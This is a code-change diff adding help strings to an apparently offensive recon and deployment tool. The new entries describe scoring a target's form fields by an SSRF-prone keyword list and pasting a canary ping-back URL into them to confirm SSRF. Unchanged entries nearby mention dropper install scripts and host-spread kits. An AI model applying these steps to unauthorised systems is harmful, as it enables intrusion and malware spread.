Add recon form fingerprint library and SSRF canary mode.

Score crawl inputs by SSRF-prone field names and register ping-back canaries for operator paste confirmation.

server/web/src/help/settingHelp.test.ts

@@ -149,6 +149,8 @@ describe('FIELD_HELP', () => {
     'forge_path_forge',
     'aws_erasure_swarm',
     'recon_deploy_kit',
+    'recon_form_fingerprint',
+    'recon_ssrf_canary',
     'fleet_spread_to_host',
   ] as const;
 

server/web/src/help/settingHelp.ts

@@ -200,6 +200,10 @@ export const FIELD_HELP: Record<string, string> = {
     'Optional operator webhook (T1071.005 lite). Calibrate POSTs JSON {event, title, message} on fleet events. Complements Telegram — not an agent transport channel.',
   aws_erasure_swarm:
     'S3 + CloudFront erasure swarm: deploy plans upload RS 4+2 shards when AF_AWS_* and AF_CLOUDFRONT_* env creds are set. Test connection runs S3 HeadBucket locally; IAM/bucket policy JSON is generated for your operator AWS account — the server does not provision resources.',
+  recon_form_fingerprint:
+    'Recon crawl scores form inputs by name/id/placeholder against SSRF-prone keywords (url, src, href, callback, redirect, avatar, import, feed, screenshot, pdf, proxy). Results include exact field name and id for operator paste targets in Deploy Recon.',
+  recon_ssrf_canary:
+    'POST /api/v1/recon/scan with ssrf_canary:true registers a unique https://{public_host}/recon/ping/{scan_id} URL. Paste that URL into the scored field on the target; a hit confirms SSRF. Poll GET /api/v1/recon/canary/{scan_id} or watch recon_canary_hit on the dashboard WS.',
   recon_deploy_kit:
     'GET /api/v1/recon/deploy-kit returns a lane-specific kit for a recon host: dropper URLs (/get, install.ps1/sh), spread-kit ZIP export path, signed deploy-plan template, and SSM bundle when the finding maps to ssm_document. Used by Crucible recon spread and Emberwake cloud cross-links.',
   fleet_spread_to_host: